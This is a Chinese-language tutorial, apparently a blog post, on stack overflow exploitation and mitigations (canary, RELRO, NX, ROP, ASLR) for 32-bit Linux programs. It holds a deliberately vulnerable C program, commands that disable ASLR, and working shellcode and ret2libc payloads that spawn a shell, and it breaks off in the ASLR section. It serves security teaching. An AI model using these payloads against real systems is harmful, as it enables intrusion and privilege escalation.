1. 程式人生 > >棧溢位漏洞的利用和緩解

棧溢位漏洞的利用和緩解

excerpt
一直有人說這個時代做滲透太難了, 各個平臺都開始重視安全性, 不像十幾年前,
隨便有個棧溢位就能輕鬆利用. 現在的環境對於新手而言確實不算友好, 上來就需要
面臨著各種邊界保護, 堆疊保護, 地址佈局隨機化. 但現實如此, 與其抱怨,
不如直面現實, 擁抱變化, 對吧?

本文所演示的環境為64位Linux+32位ELF程式.
文中所用到的程式碼和exp皆可在github倉庫中找到.

前言

知識準備

首先, 當然是要先了解什麼是棧溢位. 要了解棧溢位, 就必須要先知道棧的佈局.
以32位應用程式為例, 假設函式foo有兩個引數和兩個區域性變數:

int foo(int arg1, int arg2) {
    int local1;
    int local2;
    // ...
}

那麼該函式的棧幀佈局如下:

變數 相對於ebp 相對於esp
函式呼叫者的變數 [ebp + 16] [esp + 24]
arg2 [ebp + 12] [esp + 20]
arg1 [ebp + 8] [esp + 16]
返回地址 [ebp + 4] [esp + 12]
儲存的ebp [ebp] [esp + 8]
local1 [ebp - 4] [esp + 4]
local2 [ebp - 8] [esp]

要記住棧是往低地址增長的. 所以每當有新的本地變數(入棧), 其地址也就越小.
關於x86的彙編這裡不想介紹太多, 如果只想有個快速認識, 可以參考

x86 Assembly Cheat Sheet,
如果想要對彙編, 呼叫約定和平臺差異有深入瞭解的話, 建議閱讀RE4B(中文版).

程式準備

本文中, 我們用一個簡單的c程式來介紹漏洞的利用和緩解:

// victim.c
# include <stdio.h>
int foo() {
    char buf[10];
    scanf("%s", buf);
    printf("hello %s\n", buf);
    return 0;
}
int main() {
    foo();
    printf("good bye!\n");
    return 0;
}
void dummy() {
    __asm__("nop; jmp esp");
}

可以看到, 當輸入過長時, buf變數會溢位其邊界, 導致往棧底(高地址)覆蓋,
從而會有修改到本不該被修改的內容, 下節就以該程式為起點進行分析.
dummy函式下面會說其作用.

基本攻擊

上古時期, 混沌初開, 人們對安全的概念還沒有太大認知, 各種bug頻出,
編譯器也僅僅是實現了基本功能, 還整天被程式設計師催更(實現各種C/C++新標準和特性).
所以並未對緩衝溢位漏洞的利用作各種限制, 模擬這種場景可以用如下方式:

# 執行時禁用ASLR(系統級):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# 或者:
# sudo sysctl kernel.randomize_va_space=0
# 或者新建一個禁用ASLR的bash環境(使用者級):
# setarch `uname -m` -R /bin/bash

# 編譯時禁用canary和NX:
gcc victim.c -o victim -g -m32 -no-pie -masm=intel -fno-stack-protector -z execstack

-m32是因為我的系統為64位, 這裡編譯出32位的應用程式. -no-pie是為了不啟用PIC.
這時有人看到這種程式會想, buf溢位之後, 如果控制得當, 不是可以覆蓋返回地址嗎,
也就是說可以覆蓋PC指標, 執行程式碼. 那麼怎麼樣才能執行想要的程式碼呢, 比如system("/bin/sh")?
最簡單的辦法就是把想執行的程式碼用機器碼錶示, 即俗稱的shellcode, 將其寫入程式,
然後將返回地址修改為該段shellcode的起始地址, 不就OK了嗎? 所以我們scanf的輸入應該類似於:

# 低地址 ---> 高地址
...[shellcode]...[返回地址]...
# 或者
...[返回地址]...[shellcode]...

前者是把shellcode寫在foo函式的棧幀裡, 但其大小有限; 後者則是把shellcode寫在呼叫者(main)的棧幀裡.
關鍵是地址如何確定? shellcode如何編寫?

確定地址

返回地址看似是buf+10, 但考慮到編譯器的不同會導致預留(對齊)不同的空間, 所以需要精確確認.
先生成(或者自己寫)一個有固定模式的字串, 這裡用De Brujin序列:

$ ragg2 -P 40 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN

然後用gdb啟動victim程式除錯並輸入上述paylod:

$ gdb victim
(gdb) run
Starting program: /home/pan/victim 
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN

Program received signal SIGSEGV, Segmentation fault.
0x41494141 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x41494141

看到程式發生段錯誤, 並且PC指標eip的值為0x41494141, 即小端的AAIA,
出現在De Brujin序列的第23位元組, 所以可以確定輸入溢位到第23位元組時覆蓋了PC指標.
確定了位置, 那麼該寫哪個地址值呢? 我們知道應該要跳轉到shellcode頭部,
shellcode寫在buf中, 而buf則在棧上(還記得上面的棧幀表格嗎?), 反彙編foo函式:

(gdb) disassemble foo
Dump of assembler code for function foo:
   0x0804848b <+0>: push   ebp
   0x0804848c <+1>: mov    ebp,esp
   0x0804848e <+3>: push   ebx
   0x0804848f <+4>: sub    esp,0x14
   0x08048492 <+7>: call   0x80483c0 <__x86.get_pc_thunk.bx>
   0x08048497 <+12>:    add    ebx,0x1b69
   0x0804849d <+18>:    sub    esp,0x8
   0x080484a0 <+21>:    lea    eax,[ebp-0x12]
   0x080484a3 <+24>:    push   eax
   0x080484a4 <+25>:    lea    eax,[ebx-0x1a50]
   0x080484aa <+31>:    push   eax
   0x080484ab <+32>:    call   0x8048370 <[email protected]>
   0x080484b0 <+37>:    add    esp,0x10
   0x080484b3 <+40>:    sub    esp,0x8
   0x080484b6 <+43>:    lea    eax,[ebp-0x12]
   0x080484b9 <+46>:    push   eax
   0x080484ba <+47>:    lea    eax,[ebx-0x1a4d]
   0x080484c0 <+53>:    push   eax
   0x080484c1 <+54>:    call   0x8048340 <[email protected]>
   0x080484c6 <+59>:    add    esp,0x10
   0x080484c9 <+62>:    mov    eax,0x0
   0x080484ce <+67>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080484d1 <+70>:    leave  
   0x080484d2 <+71>:    ret    
End of assembler dump.

看9~18行可以發現buf的地址為ebp-0x12,我們是不是可以直接跳轉到硬編碼的buf地址呢?
我們可以自己試驗每次斷點在foo時列印暫存器值:

(gdb) b foo
Breakpoint 1 at 0x656: file victim.c, line 5.
(gdb) run
...
(gdb) info reg
eax            0xf7fa6dbc   -134582852
ecx            0xffffc5a0   -14944
edx            0xffffc5c4   -14908
ebx            0x804a000    134520832
esp            0xffffc560   0xffffc560
ebp            0xffffc578   0xffffc578
...

在我的電腦上, 發現每次ebp的值都是一樣, 但其實機器重啟後很可能就不同了,
而且不同作業系統也會有所差異. 所以將返回地址覆蓋為0xffffc578-0x12並不是個通用的方法.

雖然棧地址不是固定的, 但程式地址總是固定的, 所以聰明的黑客想到了利用程式裡jmp espcall esp之類的
指令片段來將執行流引導到我們的shellcode上. 為此, 我們就要從程式程式碼中尋找包含改指令的片段,
看看我們想要的這兩條指令的機器碼是什麼:

$ rasm2 -a x86 -b 32 "nop; jmp esp"
90ffe4

對於大型程式而言, 找幾個位元組不是難事, 但我們這種小程式就比較難找到, 所以我為了方便就加了個
dummy函式, 來模擬大型程式中查詢程式碼段的過程. 可以用radare2或rafind2來查詢:

$ r2 ./victim
[0x08048390]> /x 90ffe4
Searching 3 bytes in [0x8048000-0x8048754]
hits: 1
Searching 3 bytes in [0x8049f08-0x804a028]
hits: 0
0x08048520 hit0_0 90ffe4

也可以通過objdump:

$ objdump -d ./victim -M intel | grep 'ff e4' -B 1
 8048520:   90                      nop
 8048521:   ff e4                   jmp    esp

這樣我們的返回地址就能確定了, 即0x08048520. 不過這裡有個小細節就是scanf會被空格(\x20)截斷,
所以特地加了個空指令並令返回地址為0x08048521.

shellcode編寫和payload構造

對於shellcode的編寫, 如果邏輯簡單則很容易, 可以直接寫彙編再轉為機器碼即可;
如果邏輯複雜點, 只是執行系統呼叫的話依舊可以單獨寫; 而對於複雜的例子, 例如執行system庫函式,
並指定第一個引數為"/bin/sh"字串(的地址), 就要先找到system函式的地址, 然後按照呼叫約定來呼叫.

先看簡單的, 比如直接退出, 這裡可以用_exit系統呼叫, 彙編為:

mov eax, 0x01;
mov ebx, 66;
int 0x80;

其中0x01是exit的系統呼叫號, ebx為引數, 即我們想程式立刻結束並返回66. 用rasm2來編譯:

$ rasm2 -a x86 -b 32 -f shellcode.asm 
b801000000bb42000000cd80

配合前面確定的返回地址, 可以構造一個payload:

python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80'"

這裡注意返回地址是小端位元組序. 還有payload寫在返回地址的後面而不是前面, 因為在函式返回後,
經過了leaveret指令, 已經恢復了原來的棧幀(原本被保護性壓入棧, 即高地址中).
'\x90'*50的作用是填充nop指令, 可以提高payload的魯棒性, 不用精確指定指令起始地址也能執行,
通常稱為NOP sled. 測試下:

# 正常執行
$ echo "world" | ./victim 
hello world
good bye!
$ echo $?
0
# payload執行
$ python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80'" | ./victim
hello AAAAAAAAAAAAAAAAAAAAAA!����������������������������������������������������
$ echo $?
66

第二次優雅地退出了, 並且返回碼是我們所期望的66. 僅僅是利用系統呼叫, 就可以實現足夠豐富的功能.
關於Linux系統呼叫的文件, 可以通過man syscalls檢視.

在現實世界中, 如果我們想要執行更復雜的指令, 那必然會用到庫函式, 所以再看一個例子,
注入payload來獲取一個互動式的shell. 之前也說過, 其實就是執行system("/bin/sh")函式,
但關鍵是要獲取system函式的地址. system是標準的庫函式, 一般存在於libc動態連結庫中:

$ LD_TRACE_LOADED_OBJECTS=1 ./victim 
    linux-gate.so.1 (0xf7fd7000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
    /lib/ld-linux.so.2 (0xf7fd9000)

根據輸出知道libc.so會被載入到0xf7df1000這個地址上.

接下來看看system函式相對於libc.so的偏移:

$ rabin2 -s /lib/i386-linux-gnu/libc.so.6 | grep system
246 0x00113de0 0x00113de0 GLOBAL   FUNC   68 svcerr_systemerr
628 0x0003ab30 0x0003ab30 GLOBAL   FUNC   55 __libc_system
1461 0x0003ab30 0x0003ab30   WEAK   FUNC   55 system
# 或者用`readelf`:
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   246: 00113de0    68 FUNC    GLOBAL DEFAULT   13 [email protected]@GLIBC_2.0
   628: 0003ab30    55 FUNC    GLOBAL DEFAULT   13 [email protected]@GLIBC_PRIVATE
  1461: 0003ab30    55 FUNC    WEAK   DEFAULT   13 [email protected]@GLIBC_2.0
# 或者用`nm`工具也是可以的:
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
0003ab30 T __libc_system
00113de0 T svcerr_systemerr
0003ab30 W system

不管用哪種方法, 偏移量都應該是相同的. 所以, system函式地址應該是0xf7df1000 + 0x3ab30:

$ rax2 =16 0xf7df1000+0x3ab30
0xf7e2bb30

然後, 還需要找到"/bin/sh"這個字串的地址:

$ rafind2 -z -s /bin/sh ./victim

很不幸, 沒有找到. 再在libc裡找下:

$ rafind2 -z -s /bin/sh /lib/i386-linux-gnu/libc.so.6
0x15ce48
$ rax2 =16 0xf7df1000+0x15ce48
0xf7f4de48

找到了! 然後用該偏移加上libc載入地址即可. 哦, 這位問了, 要是還是沒找到怎麼辦?
沒關係, 我們還可以用環境變數自己傳進去! 而且既然我們能控制payload, 那也寫在payload裡!
舉例shellcode如下:

; shellcode_sh.asm
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov eax, esp
push eax
mov edi, 0xf7e2cb30
call edi

編譯, 用rasm2 -C直接產生C陣列相容的輸出:

$ rasm2 -a x86 -b 32 -f shellcode_sh.asm -C
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x30\xbb\xe2" \
"\xf7\xff\xd3"

測試:

$ (python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x30\xbb\xe2\xf7\xff\xd3'" && cat) | ./victim
hello AAAAAAAAAAAAAAAAAAAAAA!���������������������������������������������������1�Ph//shh/bin��P�0�����
whoami
pan
uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux

成功獲得互動式的shell! 如果victim程式有suid許可權的話, 還可以用來獲取具有root許可權的shell.
值得一提的是, 這裡輸入payload用(python -c "print 'xxx'" && cat) | ./victim的方式,
為什麼這裡要加&& cat而之前不用? 這是管道的工作機制決定的, python列印payload之後馬上結束,
從而關閉了管道的寫端, 導致雖然執行了命令但沒法獲得互動, 所以要用cat命令來維持住.
至此, 一個基本的棧溢位利用過程已經介紹完畢.

Canary/GS

canary value, 即金絲雀值, 是一個緩解棧溢位漏洞的基本方式. 為什麼要叫這個名字?
因為金絲雀比較敏感脆弱, 以前人們在進入煤礦的時候會拿一隻金絲雀在手上, 用來檢測
一氧化碳等有毒氣體. 在環境異常時, 金絲雀會比人先出現反應, 可以用來作為一個警告訊號.
在二進位制中, canary則用來在惡意payload執行之前, 檢測棧幀的異常.

原理

Stack Canaries通常是在函式的prologue和epilogue中插入完整性校驗的程式碼, 如果校驗異常則
進入系統異常處理的流程. canary一般分為終止型(Terminator)和隨機型(Random), Terminator
指一些函式會被終止符截斷, 比如之前的scanf會被空格截斷, strcpy()會被NULL截斷,
gets()會被換行截斷, 等等, 常見的終止符包括NULL(0x00), CR(0x0d), LF(0x0a)以及EOF(0xff);
Random型canary通常的實現方式是, 在棧中返回地址之前儲存一個小的整數, 並且程式在跳轉到返回地址之前
會對該整數進行校驗, 若校驗出錯則直接進入軟體異常. 而這個小整數則是在程式啟動時隨機生成的.
其介紹以及各個編譯器的實現方式可以參考維基百科的Buffer overflow protection.
另外有興趣也可以看看這篇文章, 其介紹了(Linux類系統下)最初的實現.
canary的插入點一般如下右圖所示:

            Process Address                                   Process Address
            Space                                             Space
           +---------------------+                           +---------------------+
           |                     |                           |                     |
   0xFFFF  |  Top of stack       |                   0xFFFF  |  Top of stack       |
       +   |                     |                       +   |                     |
       |   +---------------------+                       |   +---------------------+
       |   |  malicious code     <-----+                 |   |  malicious code     |
       |   +---------------------+     |                 |   +---------------------+
       |   |                     |     |                 |   |                     |
       |   |                     |     |                 |   |                     |
       |   |                     |     |                 |   |                     |
       |   +---------------------|     |                 |   +---------------------|        
       |   |  return address     |     |                 |   |  return address     |
       |   +---------------------+     |                 |   +---------------------|
 stack |   |  saved EBP          +-----+           stack |   |  saved EBP          |
growth |   +---------------------+                growth |   +---------------------+
       |   |  local variables    |                       |   | **stack canary**    |
       |   +---------------------+                       |   +---------------------+
       |   |                     |                       |   |  local variables    |
       |   |  buffer             |                       |   +---------------------+
       |   |                     |                       |   |                     |
       |   |                     |                       |   |  buffer             |
       |   +---------------------+                       |   |                     |
       |   |                     |                       |   |                     |
       |   |                     |                       |   +---------------------+
       |   |                     |                       |   |                     |
       v   |                     |                       v   |                     |
   0x0000  |                     |                   0x0000  |                     |
           +---------------------+                           +---------------------+

實現

這裡以glibc 2.26為例(各個版本的libc原始碼可以在這裡下載), canary實現相關的程式碼在libc-start.c中:

/* Set up the stack checker's canary.  */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// ...
__stack_chk_guard = stack_chk_guard;

_dl_setup_stack_chk_guard函式的實現如下:

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
  union
  {
    uintptr_t num;
    unsigned char bytes[sizeof (uintptr_t)];
  } ret = { 0 };
  // __stack_chk_guard為terminator型canary
  if (dl_random == NULL)
    {
      ret.bytes[sizeof (ret) - 1] = 255;
      ret.bytes[sizeof (ret) - 2] = '\n';
    }
  // __stack_chk_guard為random型canary
  else
    {
      memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
      ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
      ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
#else
# error "BYTE_ORDER unknown"
#endif
    }
  return ret.num;
}

可以看到根據dl_random的值是否為空, 該函式分別實現了terminator型和random型的canary.

繞過方法

由於棧canary在編譯期修改了函式的prologue和epilogue來分別設定和檢測canary值,
所以當發生溢位並嘗試利用時, 在覆蓋返回地址的途中, 必然也會覆蓋到canary的地址.
當程式檢測到canary值異常, 就會立刻進入系統的預設異常處理流程中. 那麼如何繞過?
一般來說, (random型canary)有如下幾種方式:

覆蓋canary

既然程式只是檢測canary的值, 那我們就覆蓋成真正的值不就好了? 所以關鍵是如何得到
原來的canary值, 具體來說有以下幾種方法.

爆破

對於靜態型每次不變的canary, 我們可以通過暴力破解的方式把該值測出來. 聽起來不太現實?
考慮這樣一種網路程式, 接受一個tcp連結, 然後fork一個子程序去處理該連結的互動.
由於子程序會繼承父程序的地址空間, 所以canary值也是相同的, 通過不斷fuzzy子程序(們),
便可以得到canary的精確值, 再構造payload, 一個RCE就誕生了!

資訊洩露

另一個想法是通過洩露canary值來寫入相同的值以繞過檢測. 這通常和實際的程式碼有關,
比如以下程式碼片段:

void foo() {
    char buf[16];
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
}
void bar() {
    char buf[16];
    scanf("%s", buf);
}
int main() {
    foo();
    bar();
}

可以看到bar中有個棧溢位, 但是因為開啟了canary無法直接利用, 不過在foo中,
我們可以控制列印的內容! 所以只要在foo中將列印內容控制為canary的地址(注意不要破壞canry),
並且通過洩露的資訊, 在利用bar時便能成功繞過canary的檢測. 雖然這裡是為了方便舉了個
簡單的例子, 但實際中類似這樣資訊洩露的地方也是屢見不鮮的.

覆蓋GOT

由於canary的校驗是在返回之前, 所以我們才不能覆蓋返回地址來執行shellcode,
那麼反過來想, 如果我們能在canary校驗之前執行shellcode, 不就可以了嗎?
考慮如下函式:

// relocs.c
int main() {
    char buf[16];
    fscanf(stdin, "%s", buf);
    printf("input is %s\n", buf);
}

一個很常見的執行流程, 也沒有足夠的資訊洩露, 那麼該如何利用? 這就要說到Linux動態
連結庫的載入過程了, 如果你還不清楚GOT/PLT的工作過程, 可以參考這篇文章這篇文章.
簡而言之, 動態連結的可執行程式, 其使用到的外部變數的偏移存放於GOT(global offset table)
中, 而使用到的外部函式存放於PLT(Procedure Linkage Table)中, 其中PLT又實現了延時載入,
只會在第一次時將用到的函式地址載入到某個地方(.got.plt), 之後直接從該地方讀取.

以一個剛剛的檔案為例, 編譯並檢視符號表:

$ gcc -m32 relocs.c -o relocs
$ readelf --relocs ./relocs 

Relocation section '.rel.dyn' at offset 0x3bc contains 10 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00001ee8  00000008 R_386_RELATIVE   
00001eec  00000008 R_386_RELATIVE   
00001ff4  00000008 R_386_RELATIVE   
0000201c  00000008 R_386_RELATIVE   
00001fe4  00000106 R_386_GLOB_DAT    00000000   _ITM_deregisterTMClone
00001fe8  00000406 R_386_GLOB_DAT    00000000   [email protected]_2.1.3
00001fec  00000506 R_386_GLOB_DAT    00000000   __gmon_start__
00001ff0  00000706 R_386_GLOB_DAT    00000000   [email protected]_2.0
00001ff8  00000806 R_386_GLOB_DAT    00000000   _Jv_RegisterClasses
00001ffc  00000906 R_386_GLOB_DAT    00000000   _ITM_registerTMCloneTa

Relocation section '.rel.plt' at offset 0x40c contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0000200c  00000207 R_386_JUMP_SLOT   00000000   [email protected]_2.0
00002010  00000307 R_386_JUMP_SLOT   00000000   [email protected]_2.7
00002014  00000607 R_386_JUMP_SLOT   00000000   [email protected]_2.0

可以看到stdin是外部變數, 而printf則是外部函式, 都在libc.so裡面. 檢視對應的section:

$ readelf -S relocs | egrep 'got|plt'
  [10] .rel.plt          REL             0000040c 00040c 000018 08  AI  5  24  4
  [12] .plt              PROGBITS        00000450 000450 000040 04  AX  0   0 16
  [13] .plt.got          PROGBITS        00000490 000490 000010 00  AX  0   0  8
  [23] .got              PROGBITS        00001fe4 000fe4 00001c 04  WA  0   0  4
  [24] .got.plt          PROGBITS        00002000 001000 000018 04  WA  0   0  4

發現plt是可執行的, 但是不可寫; 而got則是可寫的, 確不可執行. 之前也說了,
外部函式會被動態載入到.got.plt對應的偏移中, 它的本質也只是一個含有眾多函式指標的陣列.
所以, 如果我們能通過溢位來改寫這個表對應函式的地址, 不就可以實現執行了嗎?

舉例來說, relocs.c中的fscanf中存在溢位, 那麼我們通過溢位, 修改了[email protected]的地址,
不就可以在main函式返回之前(校驗canary之前)執行我們所構造的shellcode了嗎?
實際上, 這也正式當前最常用的繞過canary的方式了.

SEH

SEH(Structured Exception Handler)是Windows系統特有的處理異常方式.
我們注意到當canary異常時會進入異常處理中, 如果異常處理程式碼的地址也是在棧空間上的話,
我們可以隨意覆蓋canary和返回地址, 並把異常處理的程式碼地址覆蓋為我們的payload地址,
同樣也是可以實現程式執行流程的控制.

RELRO

在2001年, teso安全團隊的文章中描述了覆蓋.got.plt段來截獲控制流的方法.
而在2004年, 就有了這種利用手法的防護, 稱為重定向只讀, 即RELRO.

RELRO的作用是將重定向表設定為只讀. 實際上RELRO也包含了兩個層級的防護,
即Partial RELRO和Full RELRO.

Partial RELRO(連結時通過ld -z relro指定), 其作用大致是:

  • .got段對映為只讀, 不過.got.plt還是可寫的.
  • 重新排列各個section來減少全域性變數溢位到控制結構中的可能性.

Full RELRO(連結時通過ld -z relro -z now指定), 其作用是:

  • 執行Partial RELRO相關的操作.
  • 在連結時解析所有符號.
  • .got.plt合併到.got中.

因此, Full RELRO可以防止.got.plt中的函式指標被覆蓋.
如何繞過? 請看下節分解:)

NX/DEP

NX, Non-Executable(Windows中稱為DEP), 顧名思義, 就是將記憶體中重要的
資料結構標記為不可執行. 而這些資料結構裡, 就包括了上節說到的Full RELRO
下的.got.plt表, 以及我們摯愛的棧.

思路

讓我們再次回到最開始的victim.c中, 這次編譯時明確指定棧不可執行(-z noexecstack):

gcc victim.c -o victim_nx -g -m32 -masm=intel -no-pie -fno-stack-protector -z noexecstack 

之前已經介紹了怎麼利用jmp esp來執行payload, 可是這時候棧已經是不可執行的了,
之前的方式便不再可用. 等等..雖然棧不可執行, 可我們還是可以控制返回地址啊!
天涯何處無芳草, 何必總在棧上搞. 別忘了, 之前我們說過如何計算出libc中的函式地址,
那直接跳轉到system函式不就可以了? 當然, 跳轉之前要先做好棧的佈局, 根據呼叫約定,
只要把要呼叫的函式的引數從右到左壓入棧中即可.

實踐

為了更具體地說明利用過程, 以剛編譯的victim_nx為例, 讓我們來嘗試繼續exploit之.
首先再次確定下該二進位制的安全選項, 並用之前的De Brujin序列來fuzzy下:

$ gdb ./victim_nx
...
Reading symbols from ./victim_nx...done.
(gdb) source ~/tools/peda/peda.py 
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ run
Starting program: /home/pan/victim_nx
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
...
Stopped reason: SIGSEGV
0x41494141 in ?? ()
gdb-peda$ p $eip
$1 = (void (*)()) 0x41494141

可以看到溢位覆蓋點還是從第23位元組開始. 這次為了方便直接找現成的函式和字串地址:

gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xf7e2bb30 <system>

gdb-peda$ searchmem /bin/sh\x00
Searching for '/bin/sh\x00' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f4de48 ("/bin/sh")

所以, 我們只要把返回地址寫為system函式的地址(0xf7e2bb30), 並且保證跳轉前棧頂
的值(esp)為"/bin/sh"(0xf7f4de48)即可. 注意一般函式在epilogue階段會恢復棧幀:

; leave
mov esp, ebp
pop ebp
; ret
pop eip

ret結束之後, esp往上加4位元組, 所以返回地址之後第一個4位元組應該是system的返回地址,
這個可以先隨便寫, 這裡用BBBB來填充(但是請記住這個地址,我們在介紹ASLR時會用到);
第二個4位元組則是system的最後一個(只有一個)引數地址, payload如下:

...[22位元組]+[0xf7f4de48]+[4位元組]+[0xf7e2bb30]

整數換算成小端位元組序, 測試如下:

$ (python -c 'print "A"*22 + "\x30\xbb\xe2\xf7" + "B"*4 + "\x48\xde\xf4\xf7"' && cat) | ./victim_nx 
hello AAAAAAAAAAAAAAAAAAAAAA0���H���H���
whoami
pan
uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux

getshell成功, 而且是不是感覺payload更加精簡了? :)

ROP

除了跳轉到system函式, 還有些常用的比如mprotect(win下的VirtualProtect),
可以重新給記憶體新增執行許可權. 事實上我們可以跳轉到任意載入的函式, 但最常用的還是libc,
所以, 這種方法又稱之為Return-to-libc攻擊.
除此之外, 還可以跳轉到PLT中, 稱為Return-to-plt.

那麼, 如果我們就是想執行自己寫的shellcode(彙編), 又該如何操作? 這種利用方式則
稱為ROP(Return-oriented programming), 面向返回的程式設計, 起源於OOP面向物件程式設計盛行
的年代, 頗有點黑色幽默的意思.

好吧扯遠了, 那麼到底什麼是ROP? 回想NX的保護, 雖然指定了我們的棧不可執行,
但程式空間中可以執行的地方也很多, 如果把這些地方的程式碼片段按順序拼湊起來,
不就可以執行我們想要的功能了嗎? 舉個例子, 我們溢位後想執行以下的shellcode:

mov eax, 0x01;
mov ebx, 66;
int 0x80;

寫在棧空間裡是不行了, 不過我們如果能在程式自身的程式碼中找到這段shellcode,
然後跳轉到上面不就行啦? 對於一兩條指令還好, 分分鐘可以找到匹配的地方,
可對於較多的指令, 就沒那麼容易找到完整匹配了. 因此, 聰明的黑客想了個辦法,
我們不是可以覆蓋棧空間嗎? 那麼在棧上多寫幾個地址, 將他們通過ret指令再
串起來不就可以了? 每個地址對應一個片段, 都以ret為結尾. 比如上述shellcode,
我一下子找不到匹配, 但是可以分開找:

; 片段1
mov eax, 0x01;
ret
; 片段2
mov ebx, 66;
int 0x80;
ret

按照排列組合不斷細分, 最終找到符合的一種分法. 通過在棧上依次寫入這些片段的
地址, 就能將其連起來執行:

---棧溢位--->
.............[片段1地址(返回地址)][片段2地址]...[片段N地址]

這裡的每個指令片段通常稱為Gadget. 手工尋找合適的ROP Gadget是個費時費力的過程,
不過這種重複勞動可以很容易的 用指令碼來完成, 一些成熟的輔助工具如moan.py,
ropper, pwntools, radare2,
都提供了尋找ROP Gadget的功能, 極大提高了exploit的效率.

ASLR

不知道大家有沒有發現, 我們上面對於漏洞的利用, 大多是需要執行某個系統函式,
而這個函式的地址, 是通過載入基地址加上一個固定的偏移決定的, 檢視基地址:

$ LD_TRACE_LOADED_OBJECTS=1 ./victim
    linux-gate.so.1 (0xf7fd7000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
    /lib/ld-linux.so.2 (0xf7fd9000)
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
    linux-gate.so.1 (0xf7fd7000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
    /lib/ld-linux.so.2 (0xf7fd9000)

查看了兩次發現libc的載入地址都是0xf7df1000, 在這個基礎上, 我們的exploit才得以
寫入固定的system函式地址來執行.

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
    linux-gate.so.1 (0xf7748000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7562000)
    /lib/ld-linux.so.2 (0xf774a000)
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
    linux-gate.so.1 (0xf7728000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7542000)
    /lib/ld-linux.so.2 (0xf772a000)

Linux提供了三種ASLR的模式(/proc/sys/kernel/randomize_va_space):

0 – No randomization. Everything is static.
1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are randomized.
2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.

啟用ASLR之後, 每次動態連結庫的載入基地址就不再是個固定值了, 從而加大了利用難度.
同一個程式, 在啟用ASLR的情況下, 三次執行的記憶體對映可能如下:

       First execution            Second Execution           Third Execution

  +   +------------------+       +------------------+       +------------------+
  |   |                  |       |                  |       |                  |
  |   |                  |       +------------------+       |                  |
  |   +------------------+       |   executable     |       |                  |
  |   |   executable     |       |                  |       +------------------+
  |   |                  |       +------------------+       |   executable     |
  |   +------------------+       |                  |       |                  |
  |   |                  |       |                  |       +------------------+
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       +------------------+
  |   |                  |       |      heap        |       |                  |
  |   +------------------+       |                  |       |      heap        |
  |   |                  |       +------------------+       |                  |
  |   |      heap        |       |                  |       +------------------+
  |   |                  |       |                  |       |                  |
  |   +------------------+       |                  |       |                  |
  |   |   libraries      |       |                  |       +------------------+
  |   |                  |       |                  |       |   libraries      |
  |   +------------------+       |                  |       |                  |
  |   |                  |       +------------------+       +------------------+
  |   |                  |       |   libraries      |       |                  |
  |   |                  |       |                  |       |                  |
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       +------------------+
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       |      Stack       |
  |   +------------------+       |      Stack       |       |                  |
  |   |                  |       |                  |       |                  |
  |   |      Stack       |       |                  |       +------------------+
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       |                  |
  |   +------------------+       |                  |       |                  |
  |   |                  |       |                  |       |                  |
  v   +------------------+       +------------------+       +------------------+

實現

對於Linux, ASLR也是在核心中實現的. 正因如此, 我們可以有幸從原始碼中一窺其究竟.
在核心載入並執行一個可執行檔案(ELF)時, 呼叫了/fs/binfmt_elf.c
檔案中的load_elf_binary函式, 這裡抽取其關鍵部分來看看:

static int load_elf_binary(struct linux_binprm *bprm)
{
//...
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
        current->flags |= PF_RANDOMIZE;
//...
